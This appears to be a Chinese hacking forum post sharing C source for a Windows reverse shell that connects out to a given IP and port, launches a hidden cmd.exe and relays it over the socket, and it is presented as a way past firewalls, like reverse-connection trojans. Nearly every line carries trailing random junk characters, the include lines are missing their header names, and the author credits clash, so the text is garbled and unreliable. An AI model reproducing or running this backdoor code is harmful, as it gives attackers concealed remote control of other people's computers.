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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tx1m36a"  
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/* ============================== LG@c)H74  
Rebound port in Windows NT 'B<qG<>  
By wind,2006/7 %_@5_S  
===============================*/ i>if93mpj  
#include ";Ig%]  
#include uI-7 6  
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#pragma comment(lib,"wsock32.lib") [sY1|eX   
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void OutputShell(); g;Sg 2  
SOCKET sClient; !9<RWNKV)Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]{6yS9_tuI  
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void main(int argc,char **argv) \A\yuJ=  
{ J)yy}[Fx  
WSADATA stWsaData; JQh s=Xg  
int nRet; $Ex 9  
SOCKADDR_IN stSaiClient,stSaiServer; 'St= izhd  
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if(argc != 3) wrb& ta  
{ Qx,$)|_  
printf("Useage:\n\rRebound DestIP DestPort\n"); llG#nDe  
return; $\@ V4  
} ,t&-`U]AX  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^FMa8;'o  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n ua8y(W  
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stSaiClient.sin_family = AF_INET; MbFe1U]B  
stSaiClient.sin_port = htons(0); kRXg."b(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~$ qJw?r  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ].f,3it g&  
{ ;pyJ O_R[  
printf("Bind Socket Failed!\n"); "oXAIfU#T  
return; XQY&4tK  
} @] "9EW 0  
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stSaiServer.sin_family = AF_INET; j}.J$RtW1f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <W%Z_d&Xv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l5OV!<7~X  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u,,WD  
{ Z#t)Z "  
printf("Connect Error!"); <J }9.k  
return; |QTqa~~B  
} v*fc5"3eO  
OutputShell(); ~_j%nJ &2  
} 59Q Q_#>  
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void OutputShell() o3=S<|V  
{ t\bxd`,  
char szBuff[1024]; m;+1;B  
SECURITY_ATTRIBUTES stSecurityAttributes; 9}0Jc(B/x  
OSVERSIONINFO stOsversionInfo; "/Q(UV<d  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mS&\m#s<  
STARTUPINFO stStartupInfo; yxUVM`.~  
char *szShell; q[+: t   
PROCESS_INFORMATION stProcessInformation; &trh\\I"  
unsigned long lBytesRead; E1ob+h:`d  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O8N0]Mz  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e27CbA{_w  
stSecurityAttributes.lpSecurityDescriptor = 0; 3v>,c>b([  
stSecurityAttributes.bInheritHandle = TRUE; _7"W\gn:9  
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skx=w<YO6]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RYJc>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SVWSO  
:XZom+>2n  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {#M{~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >37}JUG  
stStartupInfo.wShowWindow = SW_HIDE; x  Bw.M{  
stStartupInfo.hStdInput = hReadPipe; V+~{a:8[pq  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iwjl--)@K  
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GetVersionEx(&stOsversionInfo); 9l_?n@   
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switch(stOsversionInfo.dwPlatformId) "<$vU_  
{ t}+c/ C%b=  
case 1: !,!tNs1 K  
szShell = "command.com"; by<@Zwtf  
break; .LcE^y[V  
default: '<D}5u7 2  
szShell = "cmd.exe"; 78~V/L;@S2  
break; 'p+QFT>Ca  
} ;p!hd }C  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kR?n%`&k  
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send(sClient,szMsg,77,0); sZBO_](S  
while(1) g}r5ohqC#  
{ 3^yWpSC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G6mM6(Sr  
if(lBytesRead) 2MzFSmhc"  
{ O|zmDp8a+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?ML<o>OKg  
send(sClient,szBuff,lBytesRead,0); -+@~*$ d  
} Awf = yE:  
else ms<uYLp  
{ zGz'2, o3  
lBytesRead=recv(sClient,szBuff,1024,0); ;OqLNfU3y  
if(lBytesRead<=0) break; <f{`}drp/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i j;'4GzQL  
} >M85xjXP  
} `z`;eR2oX  
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return; "dOY_@kg  
}
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